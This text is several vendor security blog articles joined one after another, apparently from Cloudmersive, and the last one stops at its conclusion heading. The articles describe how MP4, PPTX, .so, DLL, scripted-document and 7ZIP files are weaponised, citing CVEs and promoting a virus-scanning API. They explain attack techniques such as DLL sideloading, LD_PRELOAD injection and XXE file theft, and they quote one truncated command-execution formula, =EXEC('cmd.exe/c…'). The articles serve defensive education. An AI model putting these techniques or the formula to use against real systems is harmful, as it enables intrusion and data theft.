Introduction

On the surface, most folks are familiar with the internet’s most ubiquitous video format, MPEG-4 Part 14 (MP4). Few, however, have reason to understand (or care about) the intricacies of MP4 file structure. Here at Cloudmersive, understanding the complexity and rigidity of file formatting expectations is essential to our security mission, and we’ll be putting the spotlight on MP4 in this article.

What is an MP4 File?

MP4 files are multimedia container formats used to store four content types – video, audio, plain text (subtitles), and metadata – in a single, structured file. While we think of MP4 files as “video files”, they aren’t simple linear streams; they’re compound formats based on the ISO Base Media File Format (ISOBMFF). This uses a box-based structure – frequently referred to as atoms – to store and organize media data.

Within an MP4, each “box” contains a different type of data. Some of these “boxes” store metadata, such as file type information or video length duration. Others hold audio/video streams, and some contain the instructions required to enable media playback.

The modularity of MP4 gives it the flexibility it needs to be a dynamic, dependable media asset – but it also opens it up to abuse. Within MP4 “boxes”, threat actors can hide malicious payloads designed to execute when the video plays, and they can also create malformed structures to exploit unpatched vulnerabilities in media parsers.

Why MP4 Files are Difficult to Secure

We see MP4 files everywhere, and they generally seem harmless (most often, they are). However, they’re complex file structure makes them impossible to overlook as a potential threat.

Thanks to MP4’s custom metadata properties, threat actors can inject scripts into the file or confuse data structures. MP4 also allows for hidden data streams, making it possible for attackers to include non-standard audio, video, or even compressed content. Its file headers are manipulable, and threat actors can exploit this by mimicking a safe file while delivering a corrupt or exploit-laden stream.

Finally, the possibility of hidden NSFW content (including CSAM and other extremely sinister illegal media) within video files can’t be ignored. This content issue represents a different type of potential security breach for enterprises – one that won’t result in a system compromised by remote malware, but will instead result in emotional turmoil, significant legal challenges, and a potentially catastrophic loss of reputation.

It’s also important to remember that MP4 files can be very, very large compared to other media content types, making it difficult for upload portals, cloud sync tools, and email gateways to check them thoroughly for malicious and illicit content. This contributes to their overall security challenge; attackers can exploit relaxed content scanning to push poisoned videos through a client-side entry point. Because videos don’t look like code, many tools will under-scan them or skip them entirely if the file is too large.

Embedded Threats: Exploiting the MP4 Format

Below, we’ll explain the most common ways MP4 files are weaponized.

Malformed Headers

Attackers can exploit vulnerable media libraries (meaning those which improperly handle MP4 structure in some obscure way) by crafting corrupt or oversized metadata boxes. This can lead to application crashes, memory corruption, or (worst case scenario) remote code execution (RCE).

Steganography

Like JPEG files, MP4 files can carry malicious code or executables in unused parts of the file hidden via Steganography (the practice of hiding information within other data). That includes within metadata fields and even audio streams. If these MP4 files make it past upload security policies, their payloads can be extracted and executed later in the attack chain. Steganographically concealed malware often bypasses antivirus (AV) software due to the non-executable nature of the file.

Drive-By Downloads

In some cases – particularly those involving legacy browsers – weaponized MP4 files embedded in HTML pages can trigger auto-downloads when previewed. In such cases, victims might not realize they’re downloading second-stage malware just by opening an email or viewing a compromised web page. Scenarios where victims remain unaware of an attack on their system for any period of time benefit attackers immensely.

Script-Based Payloads

When automatic processes like thumbnail or video preview generation use poorly sandboxed tools, they might unwittingly run malicious, crafted scripts hidden in an MP4 file’s metadata. This can result in privilege escalation, unauthorized network access, or (in extreme cases) the creation of persistence mechanisms within internal media processing systems.

MP4 as a Vehicle for NSFW and CSAM Content

As we alluded to earlier, not all MP4 attacks involve malware. Malicious threat actors and irresponsible enterprise employees alike can be responsible for uploading non-consensual explicit content, CSAM (Child Sexual Abuse Material), or even violent content into a widely accessible enterprise file storage location.

When such content is uploaded intentionally by a motivated threat actor, the goal can be to damage an enterprise’s brand trust, trigger debilitating legal investigations, or expose the enterprise to civil or criminal liability. This type of content won’t be flagged by AV software because it doesn’t represent a virus or malware threat; rather, it requires frame-by-frame analysis with trained AI.

MP4 Exploits in the Wild

CVE-2021-30864

In this case, a vulnerability was identified in Apple’s Core Media component. This vulnerability enabled MP4 files to trigger arbitrary code execution when the system attempted to process the video. The underlying problem stemmed from improper memory handling when parsing specific MP4 metadata boxes, and threat actors could exploit it directly with specially crafted (invalid) MP4 files.

CVE-2020-12362

This vulnerability affected Intel’s Media SDK. It allowed attackers to execute arbitrary code using specially crafted MP4 files. These files could exploit flaws in the video decoding process while easily flying under the radar of weakly configured, extension-focused AV scanning policies at the network edge.

Both these examples reinforce the idea that video files are dangerous even when they aren’t executable. They’re inherently dangerous because they interact with complex systems like codecs, players, and preview engines which are vulnerable to malformed content.

Defending Against MP4 Threats with Cloudmersive

Cloudmersive’s Advanced Virus Scan API and NSFW Content Detection API are designed to help organizations deal with the dual-threat of malicious and inappropriate video content.

The Advanced Virus Scan API and NSFW Content Detection API can be deployed in forward or reverse proxies at the network edge, deployed adjacent to AWS, Azure, and GCP cloud storage buckets for real-time cloud storage scanning, or utilized in a Web Application Firewall (WAF).

Advanced Virus Scan API

The Advanced Virus Scan API inspects MP4 internals for metadata, embedded resources, and known exploit structures using deep content verification. It also identifies known malware signatures with traditional signature-based scanning, referencing a continuously updated database of 17 million+ signatures (publicly and privately sourced). Recursive scanning roots out MP4s embedded deep with compressed archives like ZIP, RAR, and 7Z.

NSFW Content Detection API

The “Scan a Video for NSFW Content” iteration of Cloudmersive’s Video API analyzes videos frame-by-frame using deep learning models trained on NSFW and CSAM content. Cloudmersive specializes in providing flexible infrastructure to deal with large file sizes, which is essential in any effective MP4-scanning process. Outputs from NSFW video scanning indicate which specific video frames NSFW content was identified in, along with granular content such as the timestamp, frame number, NSFW content type, and classification result (scored from 0.0 – 1.0).

Conclusion

Despite what we might think, MP4 files aren’t simple. Under the hood, they’re powerful, complex structured containers capable of supporting rich media and dangerous payloads. Whether through malformed data, steganography, or NSFW/CSAM content, threat actors can use video files to bypass enterprise security system and damage targets in a wide range of ways.

To learn more about protecting your system against malicious MP4 uploads with Cloudmersive’s Advanced Virus Scan and NSFW Content Detection APIs, please contact a member of our team.

Introduction: What is a PPTX File?

Modern PowerPoint files – those using the .pptx extension – are based on the Open Office XML standard introduced in 2007. Instead of the binary containers all MS Office documents once were, PPTX files are compressed ZIP archives composed of XML files and media directories. These files define each and every slide, text box, image, animation, and hyperlink we see when we open a PowerPoint document. It’s very much so a literal ZIP file we’re talking about here; you can actually extract a PPTX file (and any other Open Office XML file type) by renaming it with a .zip extension and unzipping its contents the same way you would with any ZIP folder.

PowerPoint’s XML format follows a modular format, which makes it much easier to organize rich content – including everything from text to audio, video, embedded objects, and scripts. While this structure does support productivity and presentation design, it also provides threat actors with a layered playground to hide threats within. Getting hacked by specially crafted PPTX documents is a real possibility, and it’s one we need to actively defend our system against.

In this article, we’ll discuss what makes PPTX files a target in more detail. We’ll look at an example of how PowerPoints have been weaponized in the past, and we’ll learn how Cloudmersive’s Advanced Virus Scan API identifies insecure content in PPTX files with deep content verification.

Why PPTX Files are a Worthy Threat Vector

MS Office files like PPTX have the advantage of appearing harmless to everyday users in an enterprise system. It’s not just that they’re an extremely common file type – it’s also that they’re not Excel XLSX or XLSM documents, which are more widely feared for their involvement in large-scale attack campaigns.
PPTX files are regularly exchanged in corporate settings, emailed between coworkers, and uploaded to SharePoint or Teams without a second thought. The file structure supports embedding links to external media, OLE Objects, and advanced transitions – all of which can be manipulated to trigger execution of remote or malicious content.

Files with advanced dynamic features that are shared everywhere and inspected infrequently represent strong threat vectors. When we combine user behavior into this equation (e.g., enabling content, clicking links, or trusting shared drives), PPTX files become an exceptionally low-friction opportunity to compromise endpoints.

Attack Surface: What can be Embedded in a PowerPoint?

Below, we'll take a closer look at the embedded or linked content that may pose a risk in any given PPTX file. Threat actors can combine several of these elements to create files which look polished and quietly trigger malicious behavior once they’re opened.

Linked OLE Objects

Like other OOXML documents, PPTX files can reference outside files – and that includes executables or scripts. The object path can be weaponized in a PowerPoint, pointing users to a malicious payload on a remote server.

Hyperlinks

Uniform Resource Locators (URLs) show up everywhere in modern enterprise documents, and they can point anywhere the document creator wants them to. In a specially crafted PPTX, these can point users to credential phishing pages and even initiate malware downloads.

Macros

PPTX doesn’t support VBA macros natively, but threat actors can still link scripts within a PPTX file or link external documents which contain macro-enabled content themselves.

ActiveX Controls

ActiveX controls can be embedded in older versions of Office or used as part of an OLE package. This is much more rare, but it’s still worth bearing in mind.

Embedded Media Files

PowerPoint supports all kinds of different media files, and each of those can carry its own risks. Video files like MP4, Flash, or WMV can contain exploits when played through vulnerable media engines, and image files can disguise malware in their pixel data.

PPTX Exploits in the Wild: CVE-2017-8570

CVE-2017-8570 was a vulnerability exploited with PPTX and DOCX files. Attackers could embed malicious OLE objects referencing an external .HTA file (HTML Application) which downloaded and ran malware on the victim’s device. While this CVE primarily affected DOC-based vectors (and is a bit old by CVE standards), it’s a great example of how easily the OOXML file structure can be manipulated to point to insecure content.

Detecting Malicious PPTX Files with Cloudmersive

Cloudmersive’s Advanced Virus Scan API takes a multi-layered approach to detecting threats in files like PPTX. This involves deep content verification and traditional malware signature scanning.

The API first ensures the contents of any file bearing the .pptx extension rigorously conform with PowerPoint formatting standards. This addresses invalid PPTX files which may be used to exploit vulnerabilities in weakly configured file parsers.

Beyond that, it unpacks the ZIP structure of PPTX files and analyzes each internal component – including all links and objects – for malicious content. Signature-based scanning (referencing a database of 17 million+ virus and malware signatures) identifies directly traceable malware, and heuristic & behavioral analysis identifies malicious behaviors.

The Advanced Scan API can be integrated directly with individual web applications with minimal code changes, or deployed as a no-code solution in several of Cloudmersive’s enterprise grade products (such as Storage Protect, Shield, and the AI Web Application Firewall).

Final Thoughts

PowerPoints are much more than slide decks. Their complex format and trusted role in enterprise business environments makes them a quiet and powerful attack vector. Understanding the way PPTX files are structured (and how threat actors abuse this structure) is critical for designing secure file upload & transfer systems, email filters, and regular document processing workflows.

To learn more about defending against PPTX threats with Cloudmersive’s Advanced Virus Scan API, please contact a member of our team.

Introduction

Shared Object files (.so files) are a compiled library file type following the ELF (Executable and Linkable Format) structure. They’re used by Linux and Unix-based operating system like Ubuntu, Debian, and CentOS, and they allow applications to share functionality by dynamically loading various features at runtime.

In this article, you’ll learn about .so files in more detail, how they interact with the dynamic linker, and why they’re extremely dangerous file types when threat actors exploit them. We’ll look at some real-world threat examples involving malicious .so payloads, and we’ll take a broader look at the techniques attackers generally use to bypass upload protections when delivering .so payloads.

At the end, we’ll discuss how Cloudmersive’s Advanced Virus Scan API protects against .so-based attacks with deep content verification and malware signature detection.

How Shared Object Files Operate in Linux and Unix Systems

Shared Object files serve as dynamically linked libraries in Linux systems. If you’re more familiar with Windows systems, their comparable file type is .dll. These file types are designed to load at runtime, rather than compiling directly into the program binary – and this benefits applications tremendously. It makes them smaller, easier to maintain, and more efficient because they’re sharing common functionality.

Examples of .so files in action are easy to come by. When a media player on Ubuntu plays an MP3 file, for instance, it needs a library to handle file decoding – and it isn’t the only application that needs to do that. So, instead of carrying that functionality independently, it loads a shared library. That library is only stored and loaded once into memory.

The key concepts to bear in mind here are Dynamic Linking, Dynamic Linkers themselves, and ELF structure. These are shared ideas across most operating systems.

1. Dynamic Linking addresses the idea that applications should link to external code while running rather than during the compilation process.
2. Dynamic Linkers are the system components (e.g., ld-linux.so) specifically responsible for finding and loading dynamic link files into memory.
3. ELF Format defines the specific way in which executables and shared objects are structured on the OS.

Linux and Unix-based systems provide welcome functionality in managing libraries. Toos like LD_LIBRARY_PATH, ld.so.conf, and rpath, for example, make it possible for users and/or applications to define where libraries should be loaded from. This is a powerful capability – but attackers are aware of it, too. It creates opportunities for path hijacking and injection attacks which are very difficult to mitigate.

Why Shared Object Files Pose a Serious Security Risk

When shared library files are used malicious (or improperly), they become a serious liability. Sophisticated attackers with deep knowledge of OS behaviors and .SO file structure can exploit these dynamic linking files in ways that don’t require any actual changes to a program’s main executable.

If, for instance, an attacker uploads a malicious .so file to a web server that uses a plugin architecture, they might gain the opportunity to trigger malicious code during normal operations without leaving an immediately noticeable trace.

On the extreme end, attackers might replace or modify system-wide .so files like libpam.so (used during login) to include backdoors that give them persistent and potentially privileged access into a system. That’s an ideal situation for an attacker to be in.

In environments running CentOS, Debian, or Ubuntu, these risks are particularly amplified. In these examples, many services dynamically link to core .so files, providing numerous targets for exploitation.

Below are brief summaries of some of the most common techniques employed in .SO-based attacks.

1. LD_PRELOAD Injection: Attackers can manipulate the LD_PRELOAD environment variable to load malicious .so files before system libraries. This variable was originally created as a debugging and development tool allowing developers to override wrap functions in shared libraries without additional modification. It tells dynamic linkers to load specified shared objects before any other libraries when launching a program.

2. Library Hijacking via Path Manipulation: Any application that uses a relative path can be tricked into loading attacker-controlled files. Attackers can place malicious .so files in a directory they know the application searches first – like the working directory, for example. If the application looks for the .so file without specifying a full path, and the attacker’s version of that file comes up first in the search order, that version will be loaded at runtime. This results in arbitrary code execution in the context of the application.

3. Shared Object Payloads in Compressed Archives: Archives are a common obfuscation tool used in myriad upload- and file-transfer-based attacks. That’s certainly the case in .so-based attacks too. Since most antivirus (AV) and content protection systems are configured to treat executable and dynamic linking file types as inherent threats, attackers like to bury their .so payloads in compressed archives (like ZIP, TAR, 7Z, etc.) to evade detection. This assumes security policies aren’t configured to unpack and scan the archive contents recursively.

4. System Persistence: Attackers can gain persistence (i.e., long term access to a system) by replacing or modifying legitimate .so files with malicious versions of those same files. If these files break into a system and run without immediate detection, they’ll load automatically during system boot or user login until they’re cleansed from the system. That means malicious code can literally become an inherent routine in the operating system. This gives attackers long-term access to a system, allowing them to monitor activity and re-establish control after system reboots. It’s one of the worst-case-scenarios for any cyberattack.

.SO Vulnerabilities in the Wild: CVE-2021-4034

Back in 2021, a critical Linux vulnerability was identified. This showed that environment manipulation could cause a legitimate application – in this case, pkexec – to load a malicious .so file.

By injecting a crafted shared object, an attacker could exploit this vulnerability to gain root access to a system without any authentication. This vulnerability highlights how shared objects can quickly become weapons under the right set of conditions.

Bypassing Security Policies with Basic Shared Object Manipulations

There’s a common misconception that extension blocking solves the problem of mitigating insecure files in file upload- and file transfer-based attacks. It’s important to dispel this logic.

Attackers can easily disguise .so files (and many other insecure file types) with manually changed extensions like .jpg or .txt and re-name the file correctly after it enters the target system. Shared Object file headers can also be spoofed to show non-executable internal file signatures.

Additionally, as we alluded to in the prior section, .so files can be nested deeply within archives – often more than one archive at a time. There’s nothing stopping an attacker from hiding .so payloads in a .tar file compressed in a .zip file compressed in a .rar file.

In classic trojan-type attacks, malicious .so files can be snuck into otherwise legitimate .deb packages as “installer bait”. Downloading apparently legitimate software from illegitimate websites can initiate this type of attack.

Detecting Shared Object Threats with Cloudmersive

Cloudmersive’s Advanced Virus Scan API is designed to identify sophisticated threats by looking deep under the hood of each file and its nested objects.

Files with spoofed extensions are identified through rigorous content verification, confirming that the file contents don’t rigorously conform with the formatting requirements associated with the given file extension. Archives are unpacked and scanned recursively, ensuring each subfile, folder, and nested sub-archive is opened and scoured thoroughly. Traditional malware signature detection policies take care of known virus and malware libraries, and heuristic & behavioral analysis identify unusual or obfuscated patterns typical of malicious shared libraries.

Whether a malicious .so file is named “helper.jpg” or embedded 5 layers deep in a .tar.gz, Cloudmersive’s Advanced Virus Scan engine will uncover and identify the true nature of the underlying content.

Conclusion

Shared Object files are essential to the operation of Linux and Unix systems, but they also represent a significant attack surface. Exploiting the dynamic linker, hijacking path resolution, or injection malicious .so code into legitimate workflows can give attackers powerful control over a system. As ever, prevention is better than cure, so it’s important to carefully defend against .SO-based attacks with rigorous content inspection.

*To learn more about defending against .SO threats with Cloudmersive’s Advanced Virus Scan API, please contact a member of our team.

When we think about file-based threats, we tend to think of the more obvious culprits. Malicious Word documents, suspicious PDFs, and ZIP archives loaded with insecure content steal the spotlight.

However, the reality is that attackers are just as eager to exploit file types that most users never see or interact with directly. One of the most dangerous examples of this is the Dynamic-Link Library (DLL) file.

In this article, we’ll explain what DLL files are, and we’ll review how they function within Windows systems. We’ll explain why they’re a target for threat actors, and we’ll look at the obfuscation techniques attackers use to sneak DLLs past basic network edge defenses.

At the end, we’ll explore how Cloudmersive’ Advanced Virus Scan API detects obfuscated DLL threats and blocks them before they can cause harm.

What is a DLL File?

A DLL is a system file used by Windows applications to store shared functionality. That includes code, data, and other resources that multiple programs can use.

Users don’t run DLL files directly, which differentiates them from EXE executables. Instead, they’re accessed and loaded by running programs only when they’re needed. This allows programs to avoid duplication by modularizing key features and reusing specific core components.

A good example of this is spell-checking for MS Office applications. Since most MS Office applications provide the same spell-checking feature, it makes sense to store that feature as a modular component in a DLL file so all MS Office applications can access it. This avoids duplicate code and ensures consistency across all MS Office programs.

The dynamic loading system makes Windows more flexible, but it also opens the door for abuse. DLLs, like EXE files, must follow the Windows Portable Executable file structure – and that means they can carry executable machine code, embedded resources, and export functions. All these features are attractive for attackers to exploit.

Why DLLs are High-Impact Threat Vectors

The fact that DLLs can contain executable code isn’t the only thing that makes them dangerous. By maneuvering malicious DLLs into the right locations, attackers can feasibly trick applications into loading malicious content. This creates an opportunity to execute arbitrary code in the context of that trusted program.

The consequences of this kind of attack could be anything from privilege escalation to stealthy persistence – or even system compromise.

Sideloading via DLL is another possibility. If a legitimate application is tricked into looking for required DLLs in an insecure location, they can load malicious resources they were never meant to have access to in the first place.

This is a classic DLL hijacking scenario. After the application loads malicious DLL resources, the file effectively has the same power as any executable. The difference is that DLLs tend to get less scrutiny from antivirus or system defenses.

Common DLL Attack Techniques

Attackers use numerous techniques to deliver malicious DLLs, including insecure file upload, phishing emails, and infected software bundle downloads. Below, we’ll walk through some of the most common tactics we can expect threat actors to use in DLL-based attacks.

DLL Sideloading (Hijacking)

Applications usually look for DLL dependencies in local directories before system paths. Attackers can exploit this by placing a malicious DLL in the same folder as a legitimate EXE. This “hijacks” the usual process, introducing the possibility that the application might load the DLL’s executable instead of the real one.

Real-world attackers have abused Microsoft Teams and Adobe tools by packaging malicious DLLs with renamed versions of legitimate applications. In such cases, launching the application EXE loads the malicious DLL without suspicion.

Embedded DLLs in Archives

Since DLLs are rarely an expected file type in file upload workflows or email attachments, it’s common for security workflows to blacklist the .dll extension. To get around that, attackers often obfuscate malicious DLLs within ZIP, RAR, and other compressed archive formats. This can hide the insecure content from detection – especially if security policies don’t look deep enough into the archive.

Phony or Disguised Extensions

Renaming extensions is another common workaround for security workflows that blacklist DLL. It’s simple enough for attackers to disguise DLLs by renaming them with less suspicious extensions like JPG, TXT, or DOCX.

Attackers often craft scripts or malware droppers separately to rename their files back to DLL after they’ve entered the target system. These adjacent payloads typically load the DLLs dynamically via PowerShell or batch scripts.

Remote DLL Loading

More sophisticated attackers are capable of initiating DLL-based attacks without storing actual DLL files on the target disk at all. Instead, they pull DLLs from remote attacker-controlled domains, load them into memory, and execute them using tools like rundll32.exe or PowerShell.

Real-World Example: PlugX and DLL Sideloading

The PlugX remote access trojan (RAT) is one of the more well-known DLL-based threats in the wild. It’s often packaged as a legitimate signed executable, a malicious DLL, and an encrypted payload file. The legitimate executable loads the DLL via sideloading, and the DLL decrypts and runs the final malware payload.

Basic endpoint defenses often fail to detect this attack because it leverages a signed, trusted application. It’s been used against telecommunications, government, and even defense sectors. This highlights the need for security policies with deeper content inspection capabilities.

How Cloudmersive Detects and Blocks DLL Threats

Cloudmersive’s Advanced Virus Scan API is purpose-built to identify malware signatures and uncover obfuscated threats with deep content verification.

That means unpacking compressed archives (ZIP, RAR, 7Z, etc.), disk images, Office files, and other complex file formats to identify buried DLLs – even when they’re named with phony extensions, nested several layers deep, or bundled together with legitimate software – and investigating them thoroughly. Heuristic analysis ensures suspicious behavioral patterns are identified regardless of whether explicit malware signatures are present.

This combination of strategies offers comprehensive protection against one of the most stealthy and damaging file types in the malware toolkit.

Conclusion

DLL files are devastating attack vectors in the wrong hands. They’re a popular choice for attackers given their ability to run silently in the background, piggyback with trusted software, and avoid detection through standard obfuscation techniques. It’s critically important that our security policies do not trust DLL files and tirelessly investigate complex file types capable of hiding them.

To learn more about blocking DLL-based threats with Cloudmersive’s Advanced Virus Scan API, please contact a member of our team.

Modern document formats like DOCX, XLSM, PDF, and even SVG aren't just containers for text or images. They're fully capable platforms that support complex scripting, automation, external data fetching, and embedded objects. This flexibility establishes their value to legitimate audiences - but it also makes them attractive threat vectors. Sophisticated attackers frequently exploit these document capabilities to obfuscate code deep within the file structure.

In this article, we’ll review how threat actors typically embed malicious scripts in common document formats. We'll break down script exploits involving macros, PowerShell payloads, JavaScript, and malicious links, and we'll cover how they're weaponized to gain system access, execute remote code, or exfiltrate sensitive data in our environment. Additionally, we'll look at some real-world attacks and CVEs to put these threats in context.

At the end of this article, we’ll learn how the Cloudmersive Advanced Virus Scan API detects malicious scripts within files - even when they're carefully obfuscated.

Understanding Common Script-Based Attacks

Attackers often rely on user interaction with a specially crafted document to execute a malicious script. The more privileges the user has in their environment, the more damaging the outcome can be.

However, users don't always need to interact with specially crafted files to initiate attacks. Attackers can also craft documents to exploit problems in the memory management routines of backend file parsers, gaining code execution with equally devastating results.

No matter which strategy attackers use in the initial access phase of their attack, the end goals typically remain the same: to download malware in the target environment and/or exfiltrate data to a remote server.

In the next section, we'll cover some of the most common types of embedded scripts we can expect to encounter. These include:

• VBScript / VBA Macros in Office Files
• PowerShell Hidden in Embedded Objects
• Embedded JavaScript in PDFs
• XML External Entity (XXE) Attacks in XML-Based Documents
• Legacy Excel 4.0 (XLM) Macros
• Embedded JavaScript in SVGs

VBScript / VBA Macros in Office Files

Macros are still among the most abused features in Office documents. Attackers can write malicious Visual Basic for Applications (VBA) code which activates automatically when their delivery document is opened.

One common VBA macro tactic involves leveraging the AutoOpen() or Document_Open() functions to execute PowerShell commands. These commands perform the malware download directly after file opening.

High profile attack campaigns delivering the infamous Emotet and Trickbot Trojans have utilized MS Office documents with malicious embedded macros to initiate infections. Once installed, these Trojans performed complex actions to weaken internal system defenses and hijack key system processes. Preventing the execution stage of these attacks was nearly impossible; proper threat mitigation relied on detecting malicious behavior in the delivery vehicle.

PowerShell in Embedded Objects

Open Office XML files can contain embedded objects which silently run PowerShell commands.

Similar to macro-enabled Office document attacks, embedded object-based attacks are concealed within seemingly harmless files—such as Word or Excel documents with familiar names (e.g., invoice.xlsx, contract.docx)—to bypass security policies and trick users into opening them. Once executed, these malicious objects often launch PowerShell scripts with elevated permissions.

Spear-phishing campaigns carried out by FIN7Z and Lazarus Group have utilized this method. The objects embedded within their delivery documents contained base64-encoded payloads which executed upon user interaction – or even automatically in certain cases.

By definition, spear-phishing campaigns are highly targeted against specific organizations - and against specific users (often those with escalated permissions) within those organizations. This aggressive targeting significantly improves the attacker's chances of success.

Embedded JavaScript in PDFs

PDF files are powerful documents capable of running JavaScript code to automate dynamic actions within interactive forms.

This functionality is frequently abused to deliver malware. Often, attackers use specially crafted PDFs with embedded scripts to target vulnerable PDF readers.

There have been numerous examples of critical vulnerabilities involving PDFs with embedded JavaScript over the last few years.
CVE-2023-26369 for example, was an out-of-bounds write vulnerability found within certain versions of Adobe Acrobat Reader. In this case, specially crafted PDF documents containing embedded JavaScript code could exploit problems with Acrobat Reader's memory handling. After the application mishandled the file, the attacker could execute code within the context of the current user.

CVE-2023-5474 was a heap buffer overflow vulnerability found in Google Chrome’s PDF component. After convincing a user to interact with a specially crafted malicious PDF file, a remote attacker could execute arbitrary code in the user's web browser.

XML External Entity (XXE) Attacks

XXE attacks exploit XML parsers to incorporate unsafe external information. These attacks have the potential to expose internal files or environments. They can be found in XML files or XML documents like DOCX and SVG, and they can be used to target web services or automated file processing systems.

Attackers often create a malicious Document Type Definition (DTD) that tricks XML parsers into including sensitive files—like /etc/passwd—and sending them out via HTTP or DNS. These attacks commonly target document converters or any API that processes XML without proper validation.

Excel 4.0 (XLM) Macros

Excel 4.0 macros are an outdated but still-supported feature. Attackers often store them in hidden sheets, which effectively avoid modern macro detection tools. They use formulas like =EXEC(“cmd.exe/c…”) to launch payloads.

The BazarLoader and QBot campaigns have been known to exploit this tactic, hiding macros in XLS files or even misusing XLSX files with hidden content.

SVG with Embedded JavaScript or Malware Links

SVG is a much more complex file type than most other image formats. Like PDFs, SVG files can include malicious JavaScript – and that makes them a favorite for phishing and redirect chains. Attackers can embed triggers like onload, onclick, or setTimeout within SVG files to initiate payloads.

Unlike PDFs, SVG files can be placed directly in emails or HTML. This means their scripts can run with one click or load quietly, sending victims to harmful campaigns.

Identifying Embedded Scripts with Cloudmersive

The Cloudmersive Advanced Virus Scan API looks beyond file extensions and other surface-level content to identify threats. It looks closely at complex document structures, including ZIP-compressed Office files, embedded OLE objects, and encoded script payloads. It does this to find high-risk content accurately.

When a file is uploaded or transferred, the Advanced Virus Scan API checks it for macro signatures and script files. It also looks for script execution logic and known exploit indicators. These indicators include AutoOpen functions, embedded PowerShell, and suspicious DTD entities. This method provides security teams with a strong tool for finding and isolating (or deleting) harmful files before they can reach users or backend systems.

Conclusion

Malicious scripts come in many forms—most commonly macros, JavaScript, and embedded PowerShell. They hide in plain sight inside files that users trust, often evading traditional antivirus software. Reducing exposure to obfuscated script-based threats is critical for securing Enterprise environments full of sensitive data.

To learn more about using Cloudmersive’s Advanced Virus Scan API, please reach out to our team.

7ZIP is a powerful and widely popular compressed archive format. It’s known best for the high compression ratios it offers, along with its advanced features like AES-256 encryption and support for large files. Unlike its two popular alternatives in the compressed archive space – ZIP and RAR – 7ZIP is derived from the open-source 7z format, and it requires specific software (most commonly the 7-Zip utility) to open and unpack its compressed contents.

In this article, you’ll learn more about 7ZIP files – including what they are, how they’re structured, and what sets them apart from common archive alternatives. You’ll also learn how threat actors abuse 7ZIP features to evade detection in file-based cyberattacks, and how Cloudmersive’s Advanced Virus Scan API can help defend against these threats.

How 7ZIP Archives Are Structured

The 7z container that 7ZIP is based on was designed to provide more efficient compression and greater flexibility than older, widespread archive formats like ZIP.

The Basics

All 7ZIP archives contain a header, one or more compressed file “blocks”, encryption metadata (optional), and a footer, and they support a variety of compression algorithms – most notably LZMA and LZMA2 – which offer significantly better compression ratios than those used in ZIP files.

Advantages and Disadvantages

7ZIP largely sets itself apart in its ability to compress extremely large data sets – anything up to 16 exabytes (in theory) – and in its capacity to support extremely large file sizes (far beyond what ZIP or even RAR can comfortably handle). It also offers customizable compression settings, “solid” compression (treating multiple files as one block), and the option to encrypt both file contents and metadata. Unlike ZIP, however, 7ZIP lacks widespread native support across platforms; it usually requires dedicated software like 7-Zip, PeaZip, or WinRAR (with 7z support) to open.

Security Implications

From a security standpoint, limited support for 7ZIP means a reduced attack surface – especially compared to ZIP. However, 7ZIPs compression advantages also provide fertile ground for attackers to hide malicious content from traditional antivirus (AV) software and other file inspection tools.

Why 7ZIP Files Are Attractive to Attackers

It’s always challenging for security tools to look inside compressed archive formats – and that’s especially true of 7ZIP, given its ability to encrypt both file contents, file names and archive metadata. Traditional AV software won’t be able to tell what’s inside a 7ZIP without full decryption – which may not even be possible if password-protection policies are applied to the archive.

On top of that, excellent compression and large/high volume file support mean attackers can nest hundreds – or even thousands – of files within a single archive. This staggering level of nesting makes static analysis of 7ZIP archives extremely difficult, especially considering the fact that attackers typically obfuscate malicious files with fake extensions or names.

Common Attack Techniques Using 7ZIP Files

Below, we’ll take a closer look at several common ways attackers exploit 7ZIP files in file-based attacks.

Sharing Encrypted Payloads

Password-protected 7ZIP files are commonly used to deliver malware via phishing emails and drive-by downloads. In such cases, 7ZIP’s powerful encryption makes it possible for compressed malicious files to bypass weakly configured security policies when scanned in transit or upload.

Once malicious 7ZIPs are delivered to a victim’s environment, attackers typically rely on social engineering tactics to complete the infection chain. An attacker might provide the archive’s password to the victim within the phishing message itself, disguised as part of some business process that’s recognizable to the victim in question – like accessing an invoice, shipping label, or HR document.

Confusing AV Software with Multi-Stage Archives

7ZIP files allow for multi-stage attacks. For example, an attacker might pack a dropper script, and obfuscated executable, and a secondary payload into a single archive. Packaging malicious content this way makes it easier for attackers to deploy complex threats which unfold in a specific sequence once the archive is opened. It can be challenging for network edge security policies to identify malicious programs when their “behavior” is divided into a series of separate parts.

Nested Archives and Archive “Bombs”

Solid compression, deep nesting, and large file support in 7ZIP allow attackers to create archive “bombs” – sometimes referred to as “ZIP bombs” (even when the ZIP file type isn’t involved) – which expand to enormous sizes once decompressed in the victim’s environment. These overloaded archives are designed to crash systems or exhaust memory in automated file handling environments, often resulting in Denial-of-Service or Remote Code Execution attacks.

Bypassing Upload Filters

Attackers can use 7ZIP archives to bypass simple MIME-type or file extension checks in wep app upload workflows. Depending on the web app security configuration, attackers can sometimes simply compress malicious files (e.g., EXE or JS) in a 7ZIP and rename the archive with a phony extension. Once the archive is uploaded and extracted in the target environment, the malicious file(s) within can execute on the backend or trick a user into launching it.

Spotlight: CVE-2025-0411 – Mark-of-the-Web Bypass in 7-Zip

CVE-2025-0411 is a recently discovered vulnerability which exposes a critical flaw in 7-Zip’s handling of internet-sourced archive files. Specifically, it allows attackers to bypass Windows’ Mark-of-the-Web (MotW) protections—a security feature meant to flag and restrict potentially dangerous files downloaded from the web. The actual vulnerability lies in how 7-Zip extracts files: it fails to carry over the MotW marker from the archive to its contents, even when the archive clearly originated online.

Attackers can exploit this behavior by crafting malicious 7Z files and distributing them via phishing email campaigns or compromised website downloads. When a victim extracts the archive with 7-Zip software, the resulting files appear trusted to the operating system, bypassing browser warnings and running without the usual restrictions.

This design flaw makes 7-Zip a particularly attractive tool for delivering hidden payloads. It reinforces the importance of scanning archive contents, not just their wrappers.

Preventing 7ZIP-Based Threats with Cloudmersive

Cloudmersive’s Advanced Virus Scan API offers protections against archive-based threats, including those delivered via 7ZIP.

It inspects all compressed 7ZIP contents – including nested directories and embedded files – to detect both known malware signatures and risky content like executables, password protected files, macro-enabled files, scripts, and more. In-depth analysis ensures threats are flagged and blocked early in the upload processing workflow, including malware obfuscated in extremely complex archive structures.

Integrating the Advanced Virus Scan API with web applications directly, at the network edge, or in defense of cloud storage instances allows enterprises to intercept dangerous files before they’re extracted, opened, or propagated downstream in sensitive system locations.

Conclusion

